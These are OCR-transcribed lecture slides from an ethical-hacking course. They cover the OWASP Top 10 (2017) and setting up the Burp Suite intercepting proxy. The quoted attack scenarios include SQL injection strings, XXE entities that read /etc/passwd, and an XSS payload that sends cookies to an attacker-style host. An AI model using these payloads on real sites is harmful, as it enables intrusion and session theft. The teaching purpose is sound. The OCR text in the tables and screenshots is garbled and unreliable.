INTRO TO ETHICAL
HACKING

MIS 5211.701
Week 10

Site:

JTonight's Plan

= Web Application Security

Web Application Security

= First (and nearly only) Rule
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http://community.mis.temple.edu/mis5211sec001fall2018/

\Where Do We Start

= For web application security and web

B =
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application penetration testing

Owasp.org

OWASP

OWASP stands for the Open Web Application
Security Project

Founded in 2001 as a charitable organization
dedicated to improving Web Application
Security

Creators and publishers of the OWASP top 10
Hosts numerous Web App tools and projects

Jdhe OWASP Top 10

E OWASP Top 10 — 2017 (New)
2017-A1 - Injection

2017-A2 - Broken Authentication and Session
Management

2017-A3 - Sensitive Data Exposure

2017-A4 - XML External Entities (XXE)

2017-A5 - Broken Access Control

2017-A6 - Security Misconfiguration

2017-A7 - Cross Site Scripting (XSS)

2017-A8 - Insecure Deserialization

2017-A9 - Using Known Vulnerable Components
2017-A10 - Insufficient Logging & Monitoring
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https://www.owasp.org/index.php/Top_10-2017_Top_10

WWASP 2013-2017 Compared

OWASP Top 10 - 2013

A1 - Injection

A2 - Broken Authentication and Session Management
' A3 - Cross-Site Scripting (XSS)

A4 - Insecure Direct Object References [Merged+A7]

AS - Security Misconfiguration

A6 - Sensitive Data Exposure

AT - Missing Function Level Access Contr [Merged+Ad]

A8 - Cross-Site Request Forgery (CSRF)

A9 - Using Components with Known Vulnerabilities

A10 - Unvalidated Redirects and Forwards

Source:

OWASP R

OWASP Top 10 - 2017
A1:2017-Injection
A2:2017-Broken Authentication
A3:2017-Sensitive Data Exposure
A4:2017-XML External Entities (XXE) [NEW]
A5:2017-Broken Access Control [Merged]
A6:2017-Security Misconfiguration
AT:2017-Cross-Site Scripting (XSS)
A8:2017-Insecure Deserialization [NEW, Community]

/A9:2017-Using Components with Known Vulnerabilities

A10:2017. [NEW,Comm.]

e Attack Security —
I T — A =™
Agents _Exploitabil Prevalence Detectabil Technical _Business|

(A1:2017- App rone| 80
Injection Specific specific | 8-
|A2:2017- App Ao | 70
Authentication Specific specific | 7
(A3:2017- App " ap | 70

| Sens. Data Exposure | Specific specific | 7
[A4:2017-XML Exter- | app ap | 70
nal Entities (XXE) | Specific specific | 7
A5:2017-Broken App app | g0
|Access Control Specific Specific | 6
[A6:2017-Security App . ap | 6o
Misconfiguration | Specific specific | 6
[A7:2017-Cross-Site | App aop | 6o
Scripting (XSS) Specific D Specific | 6
[A8:2017-Insecure Apy y Ay
Deserialization Spoafic | DIFFICULT: 1 spociic | 50
[A9:2017-Vulnerable | App aop | 47
Components Specific D Specific | 4
[A10:2017-Insufficient] App App
Logging&Monitoring | Specific D DIFFICULT: 1 specific | 40

A1:2017-Injection

= Injection flaws, such as SQL, NoSQL, OS, and
LDARP injection, occur when untrusted data is
sent to an interpreter as part of a command or
query. The attacker's hostile data can trick the

interpreter into executing unintended
commands or accessing data without proper
authorization.
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https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf
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2017-A1 - Injection

Threat Agents | Attack Vectors. Socurity Weakness Impacts.
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Example Attack Scenarios

Scenario #1: An application uses untrusted data in the construction of the following vulnerable SQL call

istring query = "SELECT * FROM accounts WHERE custID:

irequest.getParameter ("id") + "'V;

Similarly, lication's blind trust in fr resuit in queries that are still

vulnerable, (e g. Hiberate Query Language (HQL))

Query HQIQuery = session.createQuery("FROM accounts WHERE custID='" +
request.getParameter ("id") + "'");

In both cases, the attacker modifies the ‘id’ parameter value in their browser to send: " or 1
example:

inttp://example.com/app/accountView?id=" or '1'='1

This changes the meaning of both queries to return all the records from the accounts table. More
dangerous attacks could modify or delete data, or even invoke stored procedures

201 7-Broken Authentication

Application functions related to authentication
and session management are often
implemented incorrectly, allowing attackers to
compromise passwords, keys, or session
tokens, or to exploit other implementation
flaws to assume other users' identities
temporarily or permanently.
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Example Attack Scenarios

Scenario #1: Credential stuffing, the use of lists of known passwords, is a common attack. If an
application does not implement automated threat or credential stuffing protections, the application can be
used as a password oracle to determine if the credentials are valid.

Scenario #2: Most authentication attacks occur due to the continued use of passwords as a sole factor.
Once considered best practices, password rotation and complexity requirements are viewed as
encouraging users to use, and reuse, weak passwords. Organizations are recommended to stop these
practices per NIST 800-63 and use multi-factor authentication

Scenario #3: Application session timeouts aren' set properly. A user uses a public computer to access an
application. Instead of selecting “logout” the user simply closes the browser tab and walks away. An
attacker uses the same browser an hour later, and the user is still authenticated.
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S0 | /-Sensitive Data Exposure

= Many web applications and APIs do not
properly protect sensitive data, such as
financial, healthcare, and PII. Attackers may
steal or modify such weakly protected data to
conduct credit card fraud, identity theft, or
other crimes. Sensitive data may be
compromised without extra protection, such as
encryption at rest or in transit, and requires
special precautions when exchanged with the
browser.

2017/-A3 - Sensitive Data
' Exposure

4:201 /- XML External Entities
3 (XXE)

= Many older or poorly configured XML
processors evaluate external entity references
within XML documents. External entities can
be used to disclose internal files using the file
URI handler, internal file shares, internal port
scanning, remote code execution, and denial of
service attacks.




201 7-A4 — XML External Entities
0,043

Socurity Weakness Impacts.
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Example Attack Scenarios

E , including attacking XXE ocours
inalotof is to upload a
malicious XML ile, i accepted:

Scenario #1: The atiacker attempts {0 extract data from the server-

<oxml version=n1.0n encoding="IS0-8859-112>
<tpocTyeE £oo [
<IELEMENT foo ANY >
<IENTITY xxe SYSTEM "file:///etc/pasewd’ >1>

<foo>axxe;</£00>

Scenario #2. An o ENTITY line to:

<IENTITY xxe SYSTEM "https://192.168.1.1/private” >1>

Scenario #3. An

<IENTITY xxe SYSTEM "file:///dev/random’ >1>

2201 7-Broken Access Control

® Restrictions on what authenticated users are
allowed to do are often not properly enforced.
Attackers can exploit these flaws to access
unauthorized functionality and/or data, such
as access other users' accounts, view sensitive
files, modify other users' data, change access
rights, etc.

POUNVEAS - Broken Access Control

Threat Agonts | Attack Vectors. Socurity Weakness Impacts.

Example Attack Scenarios

Scenario #1: The application uses unverified data in a SQL call that is accessing account information:

Tpntat 3 . iy
results = pstmt ):

An attacker simply modifies the ‘acct’ parameter in the browser to send whatever account number they
want.If not properly verified, the aftacker can access any user's account

{nttp:// 1

Scenario #2: An attacker simply force browses to target URLS. Admin rights are required for access to the
‘admin page.

inttp://example.com/app/getappInfo
inttp://example.con/app/adnin_getappInfo

If an unauthenticated user can access either page, it's  flaw. If a non-admin can access the admin page,
this is a flaw.




AG:201 7-Security
Misconfiguration

= Security misconfiguration is the most
commonly seen issue. This is commonly a
result of insecure default configurations,
incomplete or ad hoc configurations, open
cloud storage, misconfigured HTTP headers,
and verbose error messages containing
sensitive information. Not only must all
operating systems, frameworks, libraries, and
applications be securely configured, but they
must be patched/upgraded in a timely fashion.

2017-A6 - Security
Misconfiguration

Threat Agonts | Attack Vectors. Socurity Weakness Impacts.
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Example Attack Scenarios

Scenario #1: The application server comes with sample applications that are not removed from the
production server. These sample applications have known security flaws aftackers use to compromise the
server. If one of these applications is the admin console, and default accounts weren't changed the
attacker logs in with default passwords and takes over.

Scenario #2: Directory listing is not disabled on the server. An attacker discovers they can simply list
directories. The attacker finds and downloads the compiled Java casses, which they decompile and
reverse engineer to view the code. The attacker then finds a serious access control flaw in the application.
Scenario #3: The application server's configuration allows detailed error messages, e.g. stack traces, to
be returned to users. This potentially exposes sensitive information or underlying flaws such as component
versions that are known to be vulnerable.

Scenario #4: A cloud service provider has default sharing permissions open to the Intemet by other CSP.
users. This allows sensitive data stored within cloud storage to be accessed

AV:2017-Cross-Site Scripting
: (XSS)

= XSS flaws occur whenever an application
includes untrusted data in a new web page
without proper validation or escaping, or
updates an existing web page with user-
supplied data using a browser API that can
create HTML or JavaScript. XSS allows
attackers to execute scripts in the victim's
browser which can hijack user sessions, deface
web sites, or redirect the user to malicious sites.
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O /-A7 — Cross Site Scripting
(XSS)

Threat Agonts | Attack Vectors Socurity Weakness Impacts.

i matr ectroioges sucn as PP, 2EE 15 and 45D NET

Example Attack Scenarios

Scenario #1: The application uses untrusted data in the construction of the following HTML snippet
without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT'
ivalue='" + request.getParameter("CC") + "'>";

The attacker modifies the ‘CC’ parameter in the browser to:

'><script>document. location=
"http://waw.attacker.com/cgi-bin/cookie.cgi?
£oo="+document . cookie</script>' .

This attack causes the victim's session ID to be sent to the attacker's website, allowing the attacker to
hijack the user's current session

Note: Attackers can use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defense the
application might employ.

8201 7-Insecure Deserialization

m Insecure deserialization often leads to remote
code execution. Even if deserialization flaws do
not result in remote code execution, they can be
used to perform attacks, including replay

attacks, injection attacks, and privilege
escalation attacks.

2017-A8 - Insecure
Deserialization

Threat Agents | Attack Vectors. Socurity Weakness Impacts.
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Example Attack Scenarios

Scenario #1: A React application calls a set of Spring Boot Being functional

they tried to ensure that their code is immutable. The solution they came up with is serializing user state
and passing it back and forth with each request. An attacker notices the "R00" Java object signature, and
uses the Java Serial Killer tool to gain remote code execution on the application server.

Scenario #2: A PHP forum uses PHP object serialization to save a "super” cookie, containing the user's

user ID, role, password hash, and other state:

:{4:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
;8:32: 2B

An attacker changes the serialized object to give themselves admin privileges

1{1:0;4:1;4:1;5:5:"Alice";1:2;5:5: "admin";
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AD2017-Using Components with
Known Vulnerabilities

= Components, such as libraries, frameworks,
and other software modules, run with the same
privileges as the application. If a vulnerable
component is exploited, such an attack can
facilitate serious data loss or server takeover.
Applications and APIs using components with
Kknown vulnerabilities may undermine
application defenses and enable various attacks
and impacts.

2017°A9 - Using Known
BWiiinerable Componen

Threat Agents / Attack Security

Example Attack Scenarios

Scenario #1: Components typically run with the same privileges s the application itself, so flaws in any
component can result in serious impact. Such flaws can be accidental (e.q. coding error) or intentional
(e.9. backdoor in component). Some example exploitable component vulnerabiliies discovered are:
« CVE-2017-5638¢, a Struts 2 remote code execution vulnerability that enables execution of arbitrary
code on the server, has been blamed for significant breaches.
« While internet of things (IoT)@ are frequently difficult or impossible to patch, the importance of
patching them can be great (e.q. biomedical devices)

There are automated tools to help attackers find unpatched or misconfigured systems. For example, the

Shodan loT search engine@ can help you find devices that still suffer from Heartbleed @ vulnerabilty that
was patched in April 2014,

A10:201 7-Insufficient
Llogging&Monitoring

= Insufficient logging and monitoring, coupled
with missing or ineffective integration with
incident response, allows attackers to further
attack systems, maintain persistence, pivot to
more systems, and tamper, extract, or destroy
data. Most breach studies show time to detect a
breach is over 200 days, typically detected by
external parties rather than internal processes
or monitoring.
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Example Attack Scenarios

Scenario #1: An open source project forum software run by a small team was hacked using a flaw in its
software. The attackers managed to wipe out the internal source code repository containing the next
version, and all of the forum contents. Although source could be recovered, the lack of monitoring, logging
or alerting led to a far worse breach. The forum software project is no longer active as a result of this
issue.

Scenario #2: An attacker uses scans for users using a common password. They can take over all
accounts using this password. For all other users, this scan leaves only one false login behind. After some
days, this may be repeated with a different password.

Scenario #3: A major US retailer reportedly had an internal malware analysis sandbox analyzing
attachments. The sandbox software had detected potentially unwanted software, but no one responded to
this detection. The sandbox had been producing wamings for some time before the breach was detected
due to fraudulent card transactions by an external bank.

Little’About Browsers

= Whatis a Web Browser?
= Rendering Engine
= JavaScript Engine
= Network communications layer

= May also include
= Add-Ins
= Browser Helper Objects
= APIs to/for other applications

iEtle More About Browsers

Why are we talking about this?
= Browser are fairly complicated
= Browsers have many sub-components and features

= Browsers need to understand many different forms
of character encoding

All of this gives us something to work with
when attacking Web Applications

Good reference for details

10


http://taligarsiel.com/Projects/howbrowserswork1.htm

10/31/18

Now What

=" S0, all'of this is interesting, but does that have
to do with penetration testing

& Or, to put it another way. How de we exploit
these issues?

= First step:

Intercepting Proxies

‘at’s an Intercepting Proxy

= In this instance, an intercepting proxy is
software that acts as a server and sits between

' the web browser and your internet connection

I @ Examples

= Burp Suite

= Webscarab

= Paros

Some Rules for Our Use of
Bntercepting Proxies

m For this course
o]

@ Donot inject or alter any traffic unless you
personally own the web site.

= We'll save changing traffic in the next course

11



Burp Suite

&= Start Burp Suite by logging in to Kali and
selecting Burp Suite from:

= Kali Linux>Web Applications>Web
Application Proxies>burpsuite

Burp Suite

Getting Started

Once burpsuite is running, you will need to
start and configure a browser

Kali’s web browser is “Iceweasel”, an
adaptation of Firefox

After starting Iceweasel, navigate to
preferences
And select it

10/31/18
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@ontiguring the Network Proxy

: 5 e :
Navigate to the [[EREmIN S

Network Tab e carses|
and select
settings. .. for
Connection

ontiguring the Network Proxy

= Change selection from “Use system proxy
settings” to “Manual proxy configuration and
enter “127.0.0.1” for “HTTP Proxy” and “8080” for
llPOrt"
Also, select check box for “Use this proxy server
for all protocols”
Delete reference to localhost and 127.0.0.1 from the
no proxy list
Select “OK” when done

= Browser is now setup to use burpsuite

See next slide for example

onfiguring the Network Proxy

Comnaction Sottings
Configure Proxies to Access the Internet
O No proxy

ct proxy settings for this network

Locatnost, 127.0.0.1

Example: mozila org, netnz, 192.168.1.0/24
© Automatic proxy configuration URL

Help

13
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hould Look Like This

Now We Can Test

n browser, navigate to google.com
Browser will hang and look busy

Select the “Proxy” tab in burpsuite

Burpsuite is waiting for you, select forward

Burp Suite Free Edition v1.6
ow Help

Y scorner | nruder | mepeater | sequencer | pecoder | comparer | Bxender | opans | wera |

Tomons |

it googe.com80 [74.125.225.82)

orop | [interceptison action

/2870

20623385+ s o_cpastiqtcoz;
<1 HipasQloel SHDT Raihab6)7<X_nBGORH. yh =T 393 X4QeDsLHS 6 0XG- HhALQu kb 2EHFRpEXSx31053_GLo

Browser Knows Something is Up

This Connection is Untrusted

waasel to connect securely to www.google.com, but we can't confirm that your

sites will present o prove that you
lace. However, this ste's dentity can't be verifed.

this errar could mean trying to

Technical Details

| Understand the Risks

14



10/31/18

Browser Knows Something is Up

A Securty Exception

This ( You are about to override how Icewessel identfies this site
Legitimate banks, stores, and other public sites will not.
Youhave ask you to do this. fitm that your

connectit
Server

Nornaly  ocuor: [T R —

are going

Certificate Status.

What | 1 site attempts to dentify iself with invalid =
information. =

o oun ety o

Getme  Certificate is not trusted, because it hasni't been verified by a
recognized authority using 2 secure signature.

Techn

I Unde

IFyouun ¥ Permanently store this exception dentification Even

if youtr . connea tion.
Confirm Security Exception

Don'tacq setrusted
identification.

Add

Continuing

= You may have to hit forward a number of times

B You may want to click “Intercept is on” to turn
it off and save hitting the forward button

Eventually, all traffic is forwarded.

Now, select “HTTP history” and see what you
have

®m Your traffic

Burp Suite Free Edition V1.6

| Burp Intruder Repeater Window Help

g5 5 st ] ol oo s optmrl s

Intercept | HTTP history | Websockets history | Options |

~ [Fiter: Hding C5S. mage and general binary content

& Al Host [ Meth... |URL [ Para... |Edted | Status | Length | MIME ty... | Extensi.. | Title
1 ripiwawgoogecom  GET 1 O 302 532 WM 302 Moved
hitps:/wiw.google.com  GET  gs_ rd=ss! 97962 HTML Google

bitps:/iwiw google.com  GET sy fjlk=xjs.5.en_US.doPpPn. 3671 scrpt

Jextern ¢ 7182 sopt s
IgSI_lsTk=xs.5.en_US.dOPpPn. 1135, serpt
3 235

GET
GeT
GeT

hitps: . google.com

15
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More Results

Burp Sulte Free Edton v1.6
Dt it repesce vindou sy

LR en 950007,

LR o oSaas7stm.

GET e en U5 conp,

Ressimon gosge com B see b

Joon T [ [

m,u,,s o a1 i oo iz koo poton/eno Kemesel 2670
iication et ot st

0923305 ke 10523585, CPICLALCCE:

ep-ative

More Results

Burp Suite Free Editon v1.6

m T ) B T T )

Fipeimon gongecom

ik T ——

_—
en oty 5557 amh . PR o o8 L4 o 5, s

o bap-ative

Saving Our Results

¥ Update Content-Length Decodsr | Comparer

= Under “Repeater”,
select “Action”
then select “Save @ Il i

GeT

v
Follow redirections

GET sl fsfk=xis.

Entire History” = c-aSiS i

febrowsing.clie... POST /safebrowsing]

Engagement tooks (Fro version or]
Change reauest method

Change body encodng

. Copy URL

@) (2] (@ ]

copytofia

Pasta rom fla

Savo tam

Setocta fito

=

-

Paste URLas request
45,402 add o site map
Fie v [Frat ity +48.26.55/  Conyert selection

= URL-encode a5 you type.
L gle.con you ty

Linux x05_84; 1y
save | (ganeel

Massaga sdior help
2 bssesi-ancod raouess andresponsas Rt
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NOWwW, L'ets Go Somewhere More
Interesting

= Restart burpsuite and turn intercept off

= Now navigate to temple.edu and look around
the sitetemple.edu

®m Look over the results

Temple.edu

hecocceeonsl
bececcecoenol |

Some Basics

= What can we tell from this?

= First we can see what we are telling temple
about us

= Web Browser is Iceweasel, a derivative of Firefox

= What versions we are running
= Cookies
= What exactly is If-None-Match: “1414416188-1"?

[Raw [ Params | Headers | Hex

Fost: temple. edu
User-Agent: Mozilla/5.0 (XI1; Linux x86_64; rvi24.0) Gecko/20140722 Firefox/24.0 Iceweass1/24.7.0
Accept: text/ntnl 1 £90.9,4/419-0.8

ccept-Language: =0

Accept-Encoding: gzip. deflate
Cookie: has_js- 16856

s

_ut 1188137001780, 1414549807 1414549807, 1414549807 . 1; __utnb=168561188.1.10. 1414549807; __utnc=168561188;
| utnz-16657 14529807, 1.1 utncsr=(direct) [utncen=(direct) [utncnd=(none); __ uTt=1

Connection: keep-alive

If-None-Hatch: "1414416188-1"

17



BBut Wait, There’s More

=" As Darth Vader says “Come to the Dark Side,

We've got Cookies”

[Value

1
168561186.1137091780,1414549807.1414549807.1 4145,

L6856
168561168
168561186.1414549807.1.1. utmes
1

1186.1.10.141454950:

7

rect)utmec

GET /HTTP/LL

Host: temple,adu

40722 Firefou24.

 nax-age-21600
Vary: Cookie, Accept-Encoding
avoid browser bu

Jpageadiewthroughconvers
adshusersts/901 76343771,
Jadsjusersts/991 7644377

) http:/jwww.google.com

ot

/]
o/
o

ing Things

1028 HIML
a5 WML
415 HTML

415 HTML

23058
43294 _HTML

10/31/18

Request | Response

Bl s s 15w

S dc_cksa

ads /user-Lists/o01' Qa1

temple. edu/A3Futn_ X
U randon-2408941850 HITP/1.1

st: www.google, con
jser-Agent: Mozilla/5.0 (X1; Linux x85_64; rvi24.0) Gecko/20140722 Firefox/24.0 Tceweasel/24.7.0
ept: text/htnl 1 100.9,#/4;4=0.8

ccept-Language: en-US, en;q=0.5
cept-Encoding: gzip, deflate
15rc=3984914; typy

eferes
ttp://3984914. f1s. doublecl
t

onnection: Keep-alive

18



Check The Alerts

o A few things to look at

Burp Suite Free Edition v1.6
| Burp Intruder Repeater Window Help

10/31/18

[Target [ Prow | spder | scanner | ntruder | Repeater | seauencer | becoder | comparer | Extender | options Jjaarisl]

[ Message

22:30:45 28 Oct 2014

Prowy service started on 127.0,0.1:8080
[9] The client falled to negotiate an SSL connection to assats.temple,adud

The client failed to negotiate an SSL connection to fbexternal-a.akamaihd.ne.

The client failed to negotiate an SSL connection to fbcdn-sphotos-d-a.akam..

The client failed to negotiate an SSL connection to stats.g.doubleclick.net: .
‘The clent failed to negotiate an SSL connection to Wi com:
8] The client falled to negotiate an SSL connection to assets.temple.edu:4
22:32:20 28 Oct 2014 [2] The client falled to negotiate an SSL connection to afax googleapis.com:

What Now

= If this was a real Web App Test
= Navigate the web site recording everything

= Review looking for interesting leads to follow
= Set Proxy to crawl site

o

A Few More Things

= Some of the more interesting features are turned
off or limited

Enterprise Professional Community

Buy now

19


http://portswigger.net/burp/download.html
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A Few More Things

= We covered just one proxy

= Different proxies have different strengths and
weaknesses

= For instance, Webscarab will flag potential XSS
automatically

Poor Man's Substitute

= In Internet Explorer
= F12 Developer Tools

= Allows user to at least see the code loaded in
browser

= Often worth looking at as developers sometimes
leave comments

Assignment 3

=" Using an Intercepting Proxy, look at a Website
= Choose a site that interests you

& Review what you find and create an executive
summary and three page PowerPoint as if you
were reporting out for an initial Pen Test

20
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Ruby

@ Link to Language

@ Link to Interactive Ruby Website

= Work through exercise section labeled
“Summary #8, The Hey-Relax-You-Did-Good
Summary”

Next Week

= Introduction to SQL Injection

Questions

21


https://www.ruby-lang.org/en/
https://ruby.github.io/TryRuby/

